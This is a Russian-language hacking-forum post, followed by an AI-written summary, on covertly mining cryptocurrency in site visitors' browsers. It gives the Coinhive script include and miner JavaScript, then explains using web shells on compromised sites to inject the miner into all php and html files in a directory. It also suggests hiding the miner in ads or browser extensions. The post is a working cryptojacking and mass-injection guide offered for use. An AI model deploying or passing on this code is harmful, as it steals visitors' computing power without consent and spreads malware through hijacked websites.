РАЗБОР

Как скрытно майнить на сайтах.

DefWolf
DefWolf Red Team · 295 сообщений
Подписаться
9,7 тыс.
logo.png

Майнинг, также добыча — деятельность по поддержанию распределённой платформы и созданию новых блоков с возможностью получить вознаграждение в форме новых единиц и комиссионных сборов в различных криптовалютах, в частности в Биткойн.
Coin-hive.com - это сайт, который предлагает вебмастеру встроить в свой сайт утилиту для майнинга биткоинов.

Типичная майнинг-ферма – это высокопроизводительный компьютер с несколькими видеокартами. На первый взгляд кажется, что все просто: подключаешь компьютер к сети, настраиваешь и наблюдаешь, как он зарабатывает деньги.

Вместо того, чтобы создавать ферму из наших видеокарт, мы будем использовать мощность посетителей сайтов. Мы вставим javascript код на все страницы нашего сайта. Для майнинга криптовалюты мы будем использовать библиотеку coinhive.
JavaScript:
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
Дальше идет основная часть нашего кода. В ней мы указываем ключ XXXX и имя, которое будет отображаться у нас на странице. Потом мы указываем кол-во потоков, крайне важно, чтобы число потоков не превышало 8 или 16. Далее скрипт вывод в console.log информацию о нашем хэшах.

Подробнее с функциями библиотеки можно ознакомиться здесь.

Код:
<script type="text/javascript">
    var miner = new CoinHive.User("XXXX", "Test");
    miner.start();
 
    setInterval( function() {
        miner.setNumThreads(8);
        miner.setThrottle(0.5);

        console.log("Hashes: " + miner.getHashesPerSecond() + " Total: " + miner.getTotalHashes() + " Accepted: " +  miner.getAcceptedHashes() + " Thread: " + miner.getNumThreads() );
    }, 1000);
</script>

Допустим мы имеем доступ ко множеству сайтов, где у нас установлен web-shell: https://pastebin.com/ycSazL8B
Регистрируемся на coinhive, получаем ключ и вставляем его в javascript код. В полуinfection указываем каталог, в файлы которого будет вставлен майнер. Шелл вставит вредоносный скрипт только в файлы имеющие расширение php или html.
Посмотреть вложение 14807
1515879688832.png



Сколько мы получаем хэшей можно посмотреть в консоли. Чем больше на сайте будет посетителей, чем больше хэшей вы получите. Еще как один из вариантов код майнера можно вставить в рекламу или расширение для браузера.
 
AI-выжимка (тезисы)
Coin-hive.com предлагает вебмастеру скрипт для майнинга Monero/биткоинов прямо в браузере посетителей сайта.
Вместо аппаратной фермы используется CPU посетителей: javascript-код подключается с CDN coin-hive.com/lib/coinhive.min.js.
Создаётся майнер через new CoinHive.User("ключ", "имя"), число потоков задают через setNumThreads и не советуют выше 8–16.
Скрипт раз в секунду через setInterval выводит в console.log хэшрейт, суммарные, принятые хэши и число потоков (getHashesPerSecond, getTotalHashes, getAcceptedHashes).
Показан сценарий массовой инъекции: через web-shell скрипт майнера вставляется во все файлы с расширениями php или html в указанном каталоге.
Доход прямо зависит от количества посетителей сайта; альтернативные пути распространения — встраивание майнера в рекламу или расширения браузера.
Последнее редактирование:

Комментарии

21
  • Нравится
Реакции: Acrono
1